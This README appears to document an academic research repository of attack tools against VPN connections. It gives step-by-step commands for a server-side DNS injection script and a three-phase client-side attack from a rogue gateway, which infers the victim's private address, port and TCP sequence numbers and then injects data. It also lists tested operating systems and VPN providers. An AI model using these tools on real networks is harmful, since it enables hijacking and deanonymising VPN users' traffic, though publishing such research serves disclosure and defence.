vpn-attacks/README.md

# vpn-attacks


##### Attack Machine Environment

* C++ 
* libtins (http://libtins.github.io/download/)


## Server-side attack


#### Requirements

* VPN client connected to a VPN server
* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two

***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virtual-test-environment` folder


#### Running the DNS Attack Script

1. Change to udp-dns attack folder - `cd server-side-attack/dns-sside/full_scan`
2. Compile attack script - `make`
3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp` 
3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`



## Client-side attack


#### Requirements

* VPN client connected to a VPN server
* Reverse path filtering disabled on the VPN client machine
* Attack machine acting as the local network gateway for the victim (VPN client) machine using hostapd, create_ap, or Ubuntu's built-in hotspot feature.

#### Running the Full Attack Script

* Rebuild all the attack scripts: `./rebuild_all.sh`
* `cd full_attack`
* Change `attack.sh` vars to appropriate values
* `sh attack.sh <remote_ip>`

***Note:*** `remote_ip` specifies the IP address of the HTTP site.


#### Testing Indivual attack phases 


##### Phase 1 - Infer victim's private address

* `cd first_phase`
* `python3 send.py <victim_public_ip> <private_ip_range>`

***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.


##### Phase 2 - Infer the port being used to talk to some remote address

* `cd sec_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`

***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.


##### Phase 3 - Infer exact sequence number and in-window ack

* `cd third_phase`
* Edit `send.cpp` to use the correct MAC addresses
* `g++ send.cpp -o send -ltins`
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`


***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.

## Tested operating systems, applications, and VPN providers

##### Operating systems

    * iOS (up to v12.4.1) 
    * Android (up to v10) 
    * Ubuntu (v20.04) 
    * Fedora (v31) 
    * Debian (v10.2) 
    * Arch (v2019.05) 
    * Manjaro (v18.1.1)
    * MX Linux (v19) 
    * Slackware (v14.2) 
    * Void Linux (rolling) 
    * Devuan (v2.1) 
    * Deepin (v15.11) 
    * FreeBSD (v12.1)
    * OpenBSD (v6.6)
    * macOS (Sierra, High Sierra, Mojave)

##### VPN Providers and applications

    * Mullvad
    * PIA
    * ProtonVPN
    * PureVPN
    * FrootVPN
    * VyperVPN
    * ExpressVPN
    * SlickVPN
    * TunnelBear
    * SoftEther
    * Hotspot Shield
    * Betternet
    * SecurityKiss
    * Spotflux
    * CyberGhost
    * Surfshark
    * IPVanish
    * TorGuard
    * StrongVPN
    * Wang VPN
    * Pupa VPN
    * Thunder VPN
    * Galaxy VPN
    * SecureVPN
    * Panda VPN Pro
    * NordVPN
    * SuperVPN Free
    * VPN Free
    * Wuma VPN PRO
    * Xiaoming VPN
    * SurfVPN
    * BlueWhale VPN
    * Orbot
    * Lantern
    * Psiphon

#### Source Code License

    Copyright (C) 2018-2021 Breakpointing Bad unless otherwise noted. 
    Where another license is included, please follow the licensing and 
    redistribution clauses of the author.
 
    These program are free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.